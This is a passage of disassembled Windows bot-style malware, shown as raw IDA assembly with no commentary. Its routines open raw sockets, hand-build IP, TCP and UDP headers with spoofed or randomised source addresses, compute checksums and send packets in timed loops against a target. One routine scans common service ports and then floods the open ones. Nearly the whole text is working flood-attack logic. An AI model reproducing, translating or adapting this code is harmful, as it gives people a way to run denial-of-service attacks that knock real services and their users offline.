inc [ebp+arg_0]
jmp loc_414BB0
; ---------------------------------------------------------------------------
loc_414DF6: ; CODE XREF: sub_4149C1+42Bj
push [ebp+var_4]
call dword_4CBA7C ; closesocket
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset unk_437B84
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41C360
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_414E54
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414E54: ; CODE XREF: sub_4149C1+46Ej
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_414E74: ; CODE XREF: sub_4149C1+203j
push [ebp+var_4]
call dword_4CBA7C ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset unk_437B34
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_414EE5
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414EE5: ; CODE XREF: sub_4149C1+4FFj
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
sub_4149C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F05 proc near ; CODE XREF: sub_41500F+19Ap
; sub_41500F+1A9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+arg_4], esi
jle short loc_414F31
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414F23: ; CODE XREF: sub_414F05+26j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414F23
pop edi
cmp eax, 1
loc_414F31: ; CODE XREF: sub_414F05+12j
jnz short loc_414F3E
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_414F3E: ; CODE XREF: sub_414F05:loc_414F31j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
sub_414F05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F57 proc near ; DATA XREF: sub_401ACD+6C68o
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CBA24 ; inet_addr
push eax
lea esi, [ebp+var_194]
sub esp, 194h
push 65h
pop ecx
mov edi, esp
rep movsd
call sub_41500F
add esp, 19Ch
push eax
lea eax, [ebp+var_394]
push offset unk_437C60
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414FF2
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409869
add esp, 14h
loc_414FF2: ; CODE XREF: sub_414F57+79j
lea eax, [ebp+var_394]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
sub_414F57 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41500F proc near ; CODE XREF: sub_414F57+54p
var_CC = byte ptr -0CCh
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_A3 = byte ptr -0A3h
var_A2 = word ptr -0A2h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_63 = byte ptr -63h
var_62 = byte ptr -62h
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_52 = word ptr -52h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = word ptr -2Ch
var_28 = byte ptr -28h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0CCh
push ebx
push esi
mov esi, dword_4270B0
xor ebx, ebx
push edi
mov [ebp+var_4], ebx
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_10], eax
call dword_4CBA64 ; socket
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
mov edi, 578h
push edi
push 9
push 1
call sub_418BD1
pop ecx
pop ecx
push eax
lea eax, [ebp+var_28]
push eax
call sub_41BF70
add esp, 0Ch
mov esi, 5A0h
loc_415069: ; CODE XREF: sub_41500F+235j
call dword_4270B0 ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_415249
cmp dword_4CF190, ebx
jnz short loc_4150E8
push 10h
pop eax
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_68]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_68]
push eax
push [ebp+arg_0]
call dword_4CB988 ; getsockname
push 0FFh
push 1
call sub_418BD1
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_62]
push eax
movzx eax, [ebp+var_63]
push eax
movzx eax, [ebp+var_64]
push eax
lea eax, [ebp+var_CC]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41C266
add esp, 18h
jmp short loc_4150FB
; ---------------------------------------------------------------------------
loc_4150E8: ; CODE XREF: sub_41500F+7Ej
lea eax, [ebp+var_CC]
push offset dword_4CEB70
push eax
call sub_41C890
pop ecx
pop ecx
loc_4150FB: ; CODE XREF: sub_41500F+D7j
lea eax, [ebp+var_CC]
push eax
call dword_4CBA24 ; inet_addr
mov [ebp+var_C], eax
mov eax, [ebp+var_58]
and al, 45h
push esi
or al, 45h
mov [ebp+var_54], 10h
mov [ebp+var_58], eax
call dword_4CB9E4 ; htons
mov [ebp+var_52], ax
call sub_41C2C2
mov [ebp+var_50], ax
mov eax, [ebp+var_C]
mov [ebp+var_48], eax
mov eax, [ebp+arg_194]
mov [ebp+var_4E], 40h
mov [ebp+var_4C], 40h
mov [ebp+var_4B], 6
mov [ebp+var_4A], bx
mov [ebp+var_44], eax
call sub_41C2C2
mov [ebp+var_40], ax
call sub_41C2C2
mov [ebp+var_3E], ax
call sub_41C2C2
mov [ebp+var_3C], eax
call sub_41C2C2
mov [ebp+var_38], eax
mov eax, [ebp+var_34]
and ax, 0FF50h
push 14h
or al, 50h
mov byte ptr [ebp+var_34+2], 18h
mov word ptr [ebp+var_34], ax
mov ax, [ebp+var_3E]
mov [ebp+var_76], ax
mov eax, [ebp+var_44]
mov [ebp+var_74], eax
lea eax, [ebp+var_58]
push eax
mov [ebp+var_30], 787Dh
mov [ebp+var_2E], bx
mov [ebp+var_2C], bx
mov [ebp+var_78], 2
call sub_414F05
mov [ebp+var_4A], ax
lea eax, [ebp+var_58]
push 28h
push eax
call sub_414F05
mov eax, [ebp+var_48]
add esp, 10h
mov [ebp+var_AC], eax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], bl
mov [ebp+var_A3], 6
call dword_4271F4 ; htons
mov [ebp+var_A2], ax
lea eax, [ebp+var_A0]
push 14h
push eax
lea eax, [ebp+var_40]
push eax
call sub_41CD20
lea eax, [ebp+var_8C]
push edi
push eax
lea eax, [ebp+var_28]
push eax
call sub_41CD20
lea eax, [ebp+var_AC]
push 598h
push eax
call sub_414F05
add esp, 20h
mov [ebp+var_2E], ax
push 10h
lea eax, [ebp+var_78]
push eax
push ebx
lea eax, [ebp+var_58]
push esi
push eax
push [ebp+var_8]
call dword_4CBA48 ; sendto
inc [ebp+var_4]
jmp loc_415069
; ---------------------------------------------------------------------------
loc_415249: ; CODE XREF: sub_41500F+72j
push [ebp+var_8]
call dword_4CBA7C ; closesocket
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41500F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41525A proc near ; DATA XREF: sub_401ACD+4B97o
var_414 = byte ptr -414h
var_214 = byte ptr -214h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+arg_0]
push esi
mov eax, 85h
push edi
mov ecx, eax
mov esi, edx
lea edi, [ebp+var_214]
sub esp, 214h
rep movsd
mov ecx, eax
lea esi, [ebp+var_214]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_4152D1
add esp, 214h
push eax
lea eax, [ebp+var_414]
push offset unk_437C94
push eax
call sub_41C266
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
add esp, 14h
push 0
call dword_4270D4 ; ExitThread
sub_41525A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152D1 proc near ; CODE XREF: sub_41525A+3Bp
var_254 = byte ptr -254h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
arg_104 = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
mov ebx, 0FFh
push edi
push ebx
push 3
push 2
call dword_4CBA64 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_41530F
lea eax, [ebp+var_254]
push offset unk_437E84
push eax
call sub_41C266
pop ecx
xor edi, edi
pop ecx
jmp loc_4155D8
; ---------------------------------------------------------------------------
loc_41530F: ; CODE XREF: sub_4152D1+22j
lea ecx, [ebp+var_14]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_14], 1
call dword_4CB9C4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_41533B
call dword_4CB978 ; WSAGetLastError
push eax
push offset unk_437E34
jmp short loc_415356
; ---------------------------------------------------------------------------
loc_41533B: ; CODE XREF: sub_4152D1+5Aj
lea eax, [ebp+arg_4]
push eax
call dword_4CBA24 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_41536A
call dword_4CB978 ; WSAGetLastError
push eax
push offset unk_437DF0
loc_415356: ; CODE XREF: sub_4152D1+68j
lea eax, [ebp+var_254]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_4155D8
; ---------------------------------------------------------------------------
loc_41536A: ; CODE XREF: sub_4152D1+77j
push edi
mov [ebp+var_24], 2
call dword_4CB9E4 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_4271F0 ; inet_addr
mov esi, dword_4270B0
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_437DC4
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_4153D3
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_4153D3: ; CODE XREF: sub_4152D1+E0j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+arg_104]
push eax
call sub_41C159
cmp esi, eax
pop ecx
ja loc_41558E
mov esi, 41Ch
jmp short loc_415407
; ---------------------------------------------------------------------------
loc_415402: ; CODE XREF: sub_4152D1+2B7j
mov ebx, 0FFh
loc_415407: ; CODE XREF: sub_4152D1+12Fj
cmp dword_4CF190, edi
jnz short loc_415461
push 10h
pop eax
mov [ebp+var_10], eax
push eax
lea eax, [ebp+var_34]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+arg_0]
call dword_4CB988 ; getsockname
push ebx
push 1
call sub_418BD1
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41C266
add esp, 18h
jmp short loc_415471
; ---------------------------------------------------------------------------
loc_415461: ; CODE XREF: sub_4152D1+13Cj
lea eax, [ebp+var_54]
push offset dword_4CEB70
push eax
call sub_41C890
pop ecx
pop ecx
loc_415471: ; CODE XREF: sub_4152D1+18Ej
push esi
mov byte_4CED70, 45h
call dword_4CB9E4 ; htons
mov word_4CED72, ax
lea eax, [ebp+var_54]
push eax
mov word_4CED74, 1
mov word_4CED76, di
mov byte_4CED78, 80h
mov byte_4CED79, 11h
mov word_4CED7A, di
call dword_4CBA24 ; inet_addr
mov dword_4CED7C, eax
mov eax, [ebp+var_20]
mov dword_4CED80, eax
lea eax, [ebp+arg_84]
push eax
mov word_4CED8A, di
call sub_41C159
test eax, eax
pop ecx
jnz short loc_4154E9
call sub_41C2C2
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_4154F7
; ---------------------------------------------------------------------------
loc_4154E9: ; CODE XREF: sub_4152D1+206j
lea eax, [ebp+arg_84]
push eax
call sub_41C159
pop ecx
push eax
loc_4154F7: ; CODE XREF: sub_4152D1+216j
call dword_4CB9E4 ; htons
mov word_4CED86, ax
call sub_41C2C2
cdq
mov ecx, 401h
push 408h
idiv ecx
mov word_4CED84, dx
call dword_4CB9E4 ; htons
push 400h
mov word_4CED88, ax
call sub_41C2C2
cdq
idiv ebx
push edx
push offset dword_4CED8C
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_24]
push 10h
push eax
push edi
push esi
push offset byte_4CED70
push [ebp+var_C]
call dword_4CBA48 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_415607
inc [ebp+var_4]
call dword_4270B0 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+arg_104]
push eax
call sub_41C159
cmp ebx, eax
pop ecx
jbe loc_415402
loc_41558E: ; CODE XREF: sub_4152D1+124j
push [ebp+var_C]
call dword_4CBA7C ; closesocket
mov esi, [ebp+var_4]
lea eax, [ebp+arg_104]
push eax
imul esi, 41Ch
call sub_41C159
pop ecx
xor edx, edx
mov ecx, eax
mov eax, esi
shr eax, 0Ah
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
push offset unk_437D60
loc_4155C9: ; CODE XREF: sub_4152D1+34Aj
lea eax, [ebp+var_254]
push eax
call sub_41C266
add esp, 18h
loc_4155D8: ; CODE XREF: sub_4152D1+39j
; sub_4152D1+94j
cmp [ebp+arg_20C], edi
jnz short loc_415600
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_415600: ; CODE XREF: sub_4152D1+30Dj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415607: ; CODE XREF: sub_4152D1+28Bj
push [ebp+var_4]
push esi
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+arg_4]
push eax
push offset unk_437CD4
jmp short loc_4155C9
sub_4152D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41561D proc near ; DATA XREF: sub_401ACD+6283o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
call dword_4CBA24 ; inet_addr
push eax
call sub_4157BA
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset unk_437EB0
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4156B2
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409869
add esp, 14h
loc_4156B2: ; CODE XREF: sub_41561D+73j
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_41561D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156D1 proc near ; CODE XREF: sub_4157BA+194p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_4156FA
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4271F8 ; connect
jmp loc_4157B6
; ---------------------------------------------------------------------------
loc_4156FA: ; CODE XREF: sub_4156D1+13j
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
push 8004667Eh
push esi
mov [ebp+var_8], edi
call dword_4271E0 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB98C ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call dword_4CB9CC ; select
test eax, eax
jnz short loc_41575E
or eax, 0FFFFFFFFh
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_41575E: ; CODE XREF: sub_4156D1+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_415769
loc_415765: ; CODE XREF: sub_4156D1+B8j
; sub_4156D1+DCj
mov eax, edi
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_415769: ; CODE XREF: sub_4156D1+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jnz short loc_41578B
lea eax, [ebp+var_210]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jz short loc_415765
loc_41578B: ; CODE XREF: sub_4156D1+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call dword_4271C8 ; getsockopt
cmp eax, edi
jz short loc_415765
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_4157B6: ; CODE XREF: sub_4156D1+24j
; sub_4156D1+8Bj ...
pop edi
pop esi
leave
retn
sub_4156D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157BA proc near ; CODE XREF: sub_41561D+51p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_9C = word ptr -9Ch
var_9A = word ptr -9Ah
var_98 = dword ptr -98h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
push 1
pop eax
xor ebx, ebx
push eax
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp+var_14], eax
call dword_4271C4 ; WSASocketA
lea ecx, [ebp+var_14]
push 4
push ecx
push 2
push ebx
push eax
mov dword_4CF200, eax
call dword_4CB9C4 ; setsockopt
mov esi, dword_4270B0
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
xor eax, eax
push 19h
lea edi, [ebp+var_100]
pop ecx
mov [ebp+var_10C], ebx
mov [ebp+var_7C], ecx
mov [ebp+var_108], ebx
mov [ebp+var_104], ebx
mov [ebp+var_8C], 401h
mov [ebp+var_88], 15h
mov [ebp+var_84], 16h
mov [ebp+var_80], 17h
mov [ebp+var_78], 35h
mov [ebp+var_74], 50h
mov [ebp+var_70], 51h
mov [ebp+var_6C], 58h
mov [ebp+var_68], 6Eh
mov [ebp+var_64], 71h
mov [ebp+var_60], 77h
mov [ebp+var_5C], 87h
mov [ebp+var_58], 89h
mov [ebp+var_54], 8Bh
mov [ebp+var_50], 8Fh
mov [ebp+var_4C], 1BBh
mov [ebp+var_48], 1BDh
mov [ebp+var_44], 400h
mov [ebp+var_40], 599h
mov [ebp+var_3C], 5DCh
mov [ebp+var_38], 6B8h
mov [ebp+var_34], 0CEAh
mov [ebp+var_30], 0D3Dh
mov [ebp+var_2C], 1388h
mov [ebp+var_28], 1A0Bh
mov [ebp+var_24], 1F40h
mov [ebp+var_20], 1F90h
rep stosd
mov [ebp+var_10], ebx
mov [ebp+var_1C], 3
mov [ebp+var_18], 0BB8h
mov [ebp+var_4], ebx
loc_415900: ; CODE XREF: sub_4157BA+1C1j
mov eax, [ebp+arg_0]
mov [ebp+var_9C], 2
mov [ebp+var_98], eax
mov eax, [ebp+var_4]
lea edi, [ebp+eax+var_8C]
mov ax, word ptr [ebp+eax+var_8C]
push eax
call dword_4CB9E4 ; htons
push ebx
push 1
push 2
mov [ebp+var_9A], ax
call dword_4CBA64 ; socket
lea ecx, [ebp+var_1C]
mov [ebp+var_C], eax
push ecx
lea ecx, [ebp+var_9C]
push 10h
push ecx
push eax
call sub_4156D1
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_C]
call dword_4CBA7C ; closesocket
cmp [ebp+var_8], ebx
jnz short loc_415973
mov ecx, [ebp+var_4]
mov eax, [edi]
mov [ebp+ecx+var_10C], eax
loc_415973: ; CODE XREF: sub_4157BA+1ABj
add [ebp+var_4], 4
cmp [ebp+var_4], 70h
jl short loc_415900
mov edi, offset dword_4CF204
push offset asc_42CDC8 ; " "
push edi
call sub_41C266
pop ecx
pop ecx
call esi ; GetTickCount
mov [ebp+var_C], eax
lea eax, [ebp+var_10C]
mov [ebp+var_4], ebx
mov [ebp+var_8], eax
loc_4159A0: ; CODE XREF: sub_4157BA+23Cj
call esi ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_4159F8
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, ebx
jz short loc_4159D1
push eax
push edi
push offset aSD ; "%s%d "
push edi
mov [ebp+var_10], eax
call sub_41C266
add esp, 10h
jmp short loc_4159EB
; ---------------------------------------------------------------------------
loc_4159D1: ; CODE XREF: sub_4157BA+200j
push 0FFFFh
push ebx
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9E4 ; htons
movzx eax, ax
mov [ebp+var_10], eax
loc_4159EB: ; CODE XREF: sub_4157BA+215j
inc [ebp+var_4]
add [ebp+var_8], 4
cmp [ebp+var_4], 1Ch
jl short loc_4159A0
loc_4159F8: ; CODE XREF: sub_4157BA+1F7j
; sub_4157BA+477j
push 28h
push ebx
push offset byte_4CF1A0
call sub_41BF70
mov esi, 0FFFFh
mov byte_4CF1A0, 45h
push esi
push 400h
mov byte_4CF1A9, 6
mov byte_4CF1A1, 8
call sub_418BD1
add esp, 14h
push eax
call dword_4CB9E4 ; htons
push 28h
mov word_4CF1A4, ax
call dword_4CB9E4 ; htons
or byte_4CF1A8, 0FFh
cmp dword_4CF190, ebx
mov word_4CF1A2, ax
mov word_4CF1A6, bx
jnz short loc_415A78
push 0FFFEh
push 1
call sub_418BD1
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
shl eax, 10h
and ecx, esi
or eax, ecx
jmp short loc_415A83
; ---------------------------------------------------------------------------
loc_415A78: ; CODE XREF: sub_4157BA+2A2j
push offset dword_4CEB70
call dword_4CBA24 ; inet_addr
loc_415A83: ; CODE XREF: sub_4157BA+2BCj
mov dword_4CF1AC, eax
mov eax, [ebp+arg_0]
push 4000h
mov dword_4CF1B0, eax
mov byte_4CF1C1, bl
call dword_4CB9E4 ; htons
push esi
push ebx
mov word_4CF1C2, ax
call sub_418BD1
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_418BD1
add esp, 10h
add edi, eax
push edi
call dword_4CB9E0 ; htonl
mov dword_4CF1B8, eax
mov al, byte_4CF1C0
mov edi, [ebp+arg_0]
and al, 0Fh
or al, 50h
push 14h
mov byte_4CF1C0, al
mov ax, word ptr [ebp+var_10]
mov dword_4CF1BC, ebx
mov word_4CF1C6, bx
mov word_4CF1B6, ax
mov dword_4CF1DC, edi
mov byte_4CF1E0, bl
mov byte_4CF1E1, 6
call dword_4CB9E4 ; htons
mov word_4CF1E2, ax
mov ax, word_4CF1B6
mov word_4CF1C8, 2
mov dword_4CF1CC, edi
mov word_4CF1CA, ax
mov [ebp+var_4], ebx
jmp short loc_415B39
; ---------------------------------------------------------------------------
loc_415B34: ; CODE XREF: sub_4157BA+451j
mov esi, 0FFFFh
loc_415B39: ; CODE XREF: sub_4157BA+378j
cmp [ebp+var_4], ebx
jnz short loc_415B6D
push esi
push ebx
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9E4 ; htons
mov word_4CF1B4, ax
mov eax, dword_4CF1AC
mov dword_4CF1D8, eax
mov byte_4CF1C1, 2
mov dword_4CF1BC, ebx
jmp short loc_415B8C
; ---------------------------------------------------------------------------
loc_415B6D: ; CODE XREF: sub_4157BA+382j
push esi
push ebx
mov byte_4CF1C1, 10h
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9E4 ; htons
movzx eax, ax
mov dword_4CF1BC, eax
loc_415B8C: ; CODE XREF: sub_4157BA+3B1j
inc word_4CF1A4
inc dword_4CF1B8
mov ax, word_4CF1B6
push 5
pop ecx
mov esi, offset word_4CF1B4
mov edi, offset dword_4CF1E4
mov word_4CF1AA, bx
mov word_4CF1C4, bx
push 14h
rep movsd
mov esi, offset byte_4CF1A0
mov word_4CF1CA, ax
push esi
call sub_40AA5F
push 20h
push offset dword_4CF1D8
mov word_4CF1AA, ax
call sub_40AA5F
add esp, 10h
mov word_4CF1C4, ax
push 10h
push offset word_4CF1C8
push ebx
push 28h
push esi
push dword_4CF200
call dword_4CBA48 ; sendto
